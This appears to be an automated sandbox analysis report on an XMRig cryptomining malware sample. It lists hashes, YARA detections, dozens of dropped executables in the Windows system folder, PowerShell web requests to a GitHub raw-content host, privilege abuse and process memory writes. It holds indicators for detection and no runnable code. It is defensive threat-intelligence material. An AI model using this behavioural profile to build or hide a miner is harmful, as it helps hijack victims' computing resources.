xmrig | 3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
21/05/2024, 10:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
Size

2.9MB
MD5

c8ede464aa2b49b950e387a11c6df4f0
SHA1

fb1ac5ffa2c603ee86429c59035b7e3097cf4a06
SHA256

3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3
SHA512

cd696637b9270598dc2dcfa9c0df122bf1a6d9a983919420306e14fd2354255d9d5941332a480b932a41e108e97c3d58884c15c493cea653a6dcb00c2c749bb4
SSDEEP

49152:S1G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hjGhql0lQGQK5BKrh:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2RW

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/4216-0-0x00007FF6E8610000-0x00007FF6E8A06000-memory.dmp	xmrig
behavioral2/files/0x0008000000023444-6.dat	xmrig
behavioral2/memory/4752-14-0x00007FF6FF5F0000-0x00007FF6FF9E6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023448-9.dat	xmrig
behavioral2/files/0x0007000000023449-8.dat	xmrig
behavioral2/files/0x000700000002344e-41.dat	xmrig
behavioral2/files/0x000700000002344d-33.dat	xmrig
behavioral2/files/0x000700000002344c-44.dat	xmrig
behavioral2/files/0x000700000002344b-38.dat	xmrig
behavioral2/files/0x000700000002344a-30.dat	xmrig
behavioral2/files/0x0007000000023453-53.dat	xmrig
behavioral2/files/0x0007000000023452-52.dat	xmrig
behavioral2/files/0x0007000000023451-49.dat	xmrig
behavioral2/files/0x0007000000023450-48.dat	xmrig
behavioral2/files/0x000700000002344f-45.dat	xmrig
behavioral2/memory/5096-68-0x00007FF630080000-0x00007FF630476000-memory.dmp	xmrig
behavioral2/memory/2164-86-0x00007FF68FA80000-0x00007FF68FE76000-memory.dmp	xmrig
behavioral2/files/0x0007000000023458-94.dat	xmrig
behavioral2/files/0x0007000000023459-100.dat	xmrig
behavioral2/memory/4256-105-0x00007FF6C1D90000-0x00007FF6C2186000-memory.dmp	xmrig
behavioral2/memory/1676-116-0x00007FF65DD60000-0x00007FF65E156000-memory.dmp	xmrig
behavioral2/memory/1664-119-0x00007FF6C14C0000-0x00007FF6C18B6000-memory.dmp	xmrig
behavioral2/memory/1984-122-0x00007FF781700000-0x00007FF781AF6000-memory.dmp	xmrig
behavioral2/memory/3168-128-0x00007FF75B500000-0x00007FF75B8F6000-memory.dmp	xmrig
behavioral2/memory/2872-127-0x00007FF6804C0000-0x00007FF6808B6000-memory.dmp	xmrig
behavioral2/memory/2708-126-0x00007FF7E4190000-0x00007FF7E4586000-memory.dmp	xmrig
behavioral2/memory/3340-124-0x00007FF663430000-0x00007FF663826000-memory.dmp	xmrig
behavioral2/memory/1792-123-0x00007FF62C460000-0x00007FF62C856000-memory.dmp	xmrig
behavioral2/memory/3292-121-0x00007FF6F0730000-0x00007FF6F0B26000-memory.dmp	xmrig
behavioral2/memory/3652-120-0x00007FF643FC0000-0x00007FF6443B6000-memory.dmp	xmrig
behavioral2/memory/2568-118-0x00007FF6F48A0000-0x00007FF6F4C96000-memory.dmp	xmrig
behavioral2/memory/2576-117-0x00007FF7CF1C0000-0x00007FF7CF5B6000-memory.dmp	xmrig
behavioral2/memory/2628-102-0x00007FF714C00000-0x00007FF714FF6000-memory.dmp	xmrig
behavioral2/memory/4464-99-0x00007FF661A50000-0x00007FF661E46000-memory.dmp	xmrig
behavioral2/files/0x0007000000023457-97.dat	xmrig
behavioral2/memory/4548-96-0x00007FF78FA50000-0x00007FF78FE46000-memory.dmp	xmrig
behavioral2/files/0x0007000000023455-91.dat	xmrig
behavioral2/files/0x0007000000023456-88.dat	xmrig
behavioral2/files/0x0007000000023454-87.dat	xmrig
behavioral2/files/0x000700000002345a-340.dat	xmrig
behavioral2/files/0x00070000000234ac-350.dat	xmrig
behavioral2/files/0x00070000000234ad-355.dat	xmrig
behavioral2/memory/3324-351-0x00007FF6C6CC0000-0x00007FF6C70B6000-memory.dmp	xmrig
behavioral2/memory/2548-363-0x00007FF720F90000-0x00007FF721386000-memory.dmp	xmrig
behavioral2/files/0x00070000000234b2-361.dat	xmrig
behavioral2/files/0x00070000000234af-356.dat	xmrig
behavioral2/files/0x00070000000234b3-375.dat	xmrig
behavioral2/files/0x00070000000234b5-393.dat	xmrig
behavioral2/files/0x00070000000234bd-400.dat	xmrig
behavioral2/files/0x00070000000234c2-410.dat	xmrig
behavioral2/files/0x00070000000234c4-424.dat	xmrig
behavioral2/files/0x00070000000234ba-420.dat	xmrig
behavioral2/files/0x00070000000234c0-409.dat	xmrig
behavioral2/files/0x00070000000234bb-408.dat	xmrig
behavioral2/files/0x00070000000234b7-407.dat	xmrig
behavioral2/files/0x00070000000234bf-406.dat	xmrig
behavioral2/memory/1600-392-0x00007FF6D5BE0000-0x00007FF6D5FD6000-memory.dmp	xmrig
behavioral2/memory/3496-378-0x00007FF6C2820000-0x00007FF6C2C16000-memory.dmp	xmrig
behavioral2/memory/4916-367-0x00007FF6E6630000-0x00007FF6E6A26000-memory.dmp	xmrig
behavioral2/memory/4216-1936-0x00007FF6E8610000-0x00007FF6E8A06000-memory.dmp	xmrig
behavioral2/memory/4916-3810-0x00007FF6E6630000-0x00007FF6E6A26000-memory.dmp	xmrig
behavioral2/memory/4464-4603-0x00007FF661A50000-0x00007FF661E46000-memory.dmp	xmrig
behavioral2/memory/3292-4637-0x00007FF6F0730000-0x00007FF6F0B26000-memory.dmp	xmrig
behavioral2/memory/1792-4658-0x00007FF62C460000-0x00007FF62C856000-memory.dmp	xmrig

Blocklisted process makes network request 7 IoCs

flow	pid	Process
7	1116	powershell.exe
9	1116	powershell.exe
11	1116	powershell.exe
12	1116	powershell.exe
14	1116	powershell.exe
15	1116	powershell.exe
16	1116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1116	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4752	zPWcvUF.exe
5096	CYxAjdQ.exe
3340	LTZjspG.exe
2164	GyVurKU.exe
4548	DyZDqnc.exe
4464	BRNuWuH.exe
2628	uLGHPUg.exe
4256	sFMzOKt.exe
1676	qPtInBu.exe
2576	BgCxVYB.exe
2568	xDXHrqB.exe
1664	CKBTjrV.exe
3652	mkSWEVd.exe
2708	ADAONEL.exe
3292	KCMoONn.exe
1984	YYKyzOA.exe
1792	elXtffT.exe
2872	YtHEdDs.exe
3168	iudJOow.exe
3324	ZfQLAsp.exe
2548	Ttlwrzr.exe
1600	uAgrGUA.exe
4916	HlMPGdx.exe
3496	ivWijCi.exe
3816	itNQYmQ.exe
1684	wvBvXoM.exe
544	EKgqbZN.exe
4408	bTdIQdL.exe
3976	OkIKFvD.exe
460	uFfVVpu.exe
4400	ROrKotz.exe
3992	lofymVw.exe
4068	jTzeiHE.exe
5020	tVJCpUM.exe
4836	QkNBZsp.exe
1168	kbJvPcJ.exe
1380	DXRitOI.exe
2924	hGZvkEK.exe
4512	fPBbzgT.exe
5068	cswNPPG.exe
1476	FrEENVm.exe
4552	KFDKFzC.exe
1724	WFTmEnW.exe
2484	OwywUur.exe
3012	cIKvHti.exe
2036	AGtOiEb.exe
4704	YzXDjVo.exe
1112	wgaCpeh.exe
3580	TsDWhRr.exe
4312	mdgfzKE.exe
2564	bcDKjDo.exe
3636	JVzBfQf.exe
3440	PthGmgX.exe
3624	lQuTrBF.exe
3836	BZjcSUR.exe
876	rYCqLZM.exe
3424	gNcwPGX.exe
4032	yRhhTvo.exe
212	fJoPHzl.exe
4112	nhbRCwo.exe
1580	yykIDNR.exe
5060	FhHkxlJ.exe
988	eubfgNQ.exe
3940	yJYccSF.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4216-0-0x00007FF6E8610000-0x00007FF6E8A06000-memory.dmp	upx
behavioral2/files/0x0008000000023444-6.dat	upx
behavioral2/memory/4752-14-0x00007FF6FF5F0000-0x00007FF6FF9E6000-memory.dmp	upx
behavioral2/files/0x0007000000023448-9.dat	upx
behavioral2/files/0x0007000000023449-8.dat	upx
behavioral2/files/0x000700000002344e-41.dat	upx
behavioral2/files/0x000700000002344d-33.dat	upx
behavioral2/files/0x000700000002344c-44.dat	upx
behavioral2/files/0x000700000002344b-38.dat	upx
behavioral2/files/0x000700000002344a-30.dat	upx
behavioral2/files/0x0007000000023453-53.dat	upx
behavioral2/files/0x0007000000023452-52.dat	upx
behavioral2/files/0x0007000000023451-49.dat	upx
behavioral2/files/0x0007000000023450-48.dat	upx
behavioral2/files/0x000700000002344f-45.dat	upx
behavioral2/memory/5096-68-0x00007FF630080000-0x00007FF630476000-memory.dmp	upx
behavioral2/memory/2164-86-0x00007FF68FA80000-0x00007FF68FE76000-memory.dmp	upx
behavioral2/files/0x0007000000023458-94.dat	upx
behavioral2/files/0x0007000000023459-100.dat	upx
behavioral2/memory/4256-105-0x00007FF6C1D90000-0x00007FF6C2186000-memory.dmp	upx
behavioral2/memory/1676-116-0x00007FF65DD60000-0x00007FF65E156000-memory.dmp	upx
behavioral2/memory/1664-119-0x00007FF6C14C0000-0x00007FF6C18B6000-memory.dmp	upx
behavioral2/memory/1984-122-0x00007FF781700000-0x00007FF781AF6000-memory.dmp	upx
behavioral2/memory/3168-128-0x00007FF75B500000-0x00007FF75B8F6000-memory.dmp	upx
behavioral2/memory/2872-127-0x00007FF6804C0000-0x00007FF6808B6000-memory.dmp	upx
behavioral2/memory/2708-126-0x00007FF7E4190000-0x00007FF7E4586000-memory.dmp	upx
behavioral2/memory/3340-124-0x00007FF663430000-0x00007FF663826000-memory.dmp	upx
behavioral2/memory/1792-123-0x00007FF62C460000-0x00007FF62C856000-memory.dmp	upx
behavioral2/memory/3292-121-0x00007FF6F0730000-0x00007FF6F0B26000-memory.dmp	upx
behavioral2/memory/3652-120-0x00007FF643FC0000-0x00007FF6443B6000-memory.dmp	upx
behavioral2/memory/2568-118-0x00007FF6F48A0000-0x00007FF6F4C96000-memory.dmp	upx
behavioral2/memory/2576-117-0x00007FF7CF1C0000-0x00007FF7CF5B6000-memory.dmp	upx
behavioral2/memory/2628-102-0x00007FF714C00000-0x00007FF714FF6000-memory.dmp	upx
behavioral2/memory/4464-99-0x00007FF661A50000-0x00007FF661E46000-memory.dmp	upx
behavioral2/files/0x0007000000023457-97.dat	upx
behavioral2/memory/4548-96-0x00007FF78FA50000-0x00007FF78FE46000-memory.dmp	upx
behavioral2/files/0x0007000000023455-91.dat	upx
behavioral2/files/0x0007000000023456-88.dat	upx
behavioral2/files/0x0007000000023454-87.dat	upx
behavioral2/files/0x000700000002345a-340.dat	upx
behavioral2/files/0x00070000000234ac-350.dat	upx
behavioral2/files/0x00070000000234ad-355.dat	upx
behavioral2/memory/3324-351-0x00007FF6C6CC0000-0x00007FF6C70B6000-memory.dmp	upx
behavioral2/memory/2548-363-0x00007FF720F90000-0x00007FF721386000-memory.dmp	upx
behavioral2/files/0x00070000000234b2-361.dat	upx
behavioral2/files/0x00070000000234af-356.dat	upx
behavioral2/files/0x00070000000234b3-375.dat	upx
behavioral2/files/0x00070000000234b5-393.dat	upx
behavioral2/files/0x00070000000234bd-400.dat	upx
behavioral2/files/0x00070000000234c2-410.dat	upx
behavioral2/files/0x00070000000234c4-424.dat	upx
behavioral2/files/0x00070000000234ba-420.dat	upx
behavioral2/files/0x00070000000234c0-409.dat	upx
behavioral2/files/0x00070000000234bb-408.dat	upx
behavioral2/files/0x00070000000234b7-407.dat	upx
behavioral2/files/0x00070000000234bf-406.dat	upx
behavioral2/memory/1600-392-0x00007FF6D5BE0000-0x00007FF6D5FD6000-memory.dmp	upx
behavioral2/memory/3496-378-0x00007FF6C2820000-0x00007FF6C2C16000-memory.dmp	upx
behavioral2/memory/4916-367-0x00007FF6E6630000-0x00007FF6E6A26000-memory.dmp	upx
behavioral2/memory/4216-1936-0x00007FF6E8610000-0x00007FF6E8A06000-memory.dmp	upx
behavioral2/memory/4916-3810-0x00007FF6E6630000-0x00007FF6E6A26000-memory.dmp	upx
behavioral2/memory/4464-4603-0x00007FF661A50000-0x00007FF661E46000-memory.dmp	upx
behavioral2/memory/3292-4637-0x00007FF6F0730000-0x00007FF6F0B26000-memory.dmp	upx
behavioral2/memory/1792-4658-0x00007FF62C460000-0x00007FF62C856000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\THUfpiO.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\ASEfzLo.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\uSOvWGA.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\JQFpEvk.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\MpYTGad.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\HJEtrjs.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\fTeuFcW.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\SxANVgB.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\AlOujpO.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\ZEojBeA.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\qNOjXzl.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\DnlsOpm.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\qliOucy.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\IciYsDZ.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\MZxTsgr.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\dQLdXDf.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\WwqvPoe.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\OuMkTyy.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\lgKWeDv.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\QaBSYfh.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\tqikplA.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\ovLsKjY.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\aVJKSbD.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\UFTeuUV.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\IijHlHn.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\NJmgDOe.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\nBwRCMK.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\XIwllMs.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\OwcCeZq.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\Wpnfjgf.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\QlfBcnt.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\CnVQLvV.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\gCWxpZB.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\sKmQUTp.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\htKuULz.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\YpbOJFK.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\zkZoPKE.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\TBNZYkv.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\LiGJzls.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\KsdMbRO.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\BqagFhf.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\sNWlaEq.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\qHNufML.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\IHqmVGC.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\yIPvrpt.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\RUuGjYM.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\uvaVhvQ.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\SrNEpac.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\oLCggKy.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\IyEDfds.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\NkFkPAR.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\BobQfeE.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\CloIczd.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\sthjjmm.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\zxzrOQd.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\dOacJPv.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\qbvjUBI.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\zQgHwLc.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\lrjcXOw.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\wqMVXAD.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\zhNbYpD.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\IYHLpcn.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\LDfOWzb.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
File created	C:\Windows\System\ZugqzHi.exe	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe
Token: SeDebugPrivilege	1116	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4216 wrote to memory of 1116	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	84
PID 4216 wrote to memory of 1116	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	84
PID 4216 wrote to memory of 4752	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	85
PID 4216 wrote to memory of 4752	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	85
PID 4216 wrote to memory of 5096	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	86
PID 4216 wrote to memory of 5096	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	86
PID 4216 wrote to memory of 3340	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	87
PID 4216 wrote to memory of 3340	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	87
PID 4216 wrote to memory of 2164	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	88
PID 4216 wrote to memory of 2164	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	88
PID 4216 wrote to memory of 4464	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	89
PID 4216 wrote to memory of 4464	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	89
PID 4216 wrote to memory of 4256	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	90
PID 4216 wrote to memory of 4256	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	90
PID 4216 wrote to memory of 4548	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	91
PID 4216 wrote to memory of 4548	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	91
PID 4216 wrote to memory of 2628	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	92
PID 4216 wrote to memory of 2628	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	92
PID 4216 wrote to memory of 1676	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	93
PID 4216 wrote to memory of 1676	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	93
PID 4216 wrote to memory of 2576	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	94
PID 4216 wrote to memory of 2576	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	94
PID 4216 wrote to memory of 2568	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	95
PID 4216 wrote to memory of 2568	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	95
PID 4216 wrote to memory of 1664	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	96
PID 4216 wrote to memory of 1664	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	96
PID 4216 wrote to memory of 3652	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	97
PID 4216 wrote to memory of 3652	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	97
PID 4216 wrote to memory of 2708	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	98
PID 4216 wrote to memory of 2708	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	98
PID 4216 wrote to memory of 3292	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	99
PID 4216 wrote to memory of 3292	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	99
PID 4216 wrote to memory of 1984	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	100
PID 4216 wrote to memory of 1984	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	100
PID 4216 wrote to memory of 1792	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	101
PID 4216 wrote to memory of 1792	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	101
PID 4216 wrote to memory of 2872	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	102
PID 4216 wrote to memory of 2872	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	102
PID 4216 wrote to memory of 3168	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	103
PID 4216 wrote to memory of 3168	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	103
PID 4216 wrote to memory of 3324	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	104
PID 4216 wrote to memory of 3324	4216	3254a031aac87dd4d83966fde3376adec32266afe5a52dcdf986e0cd023333d3_NeikiAnalytics.exe	104
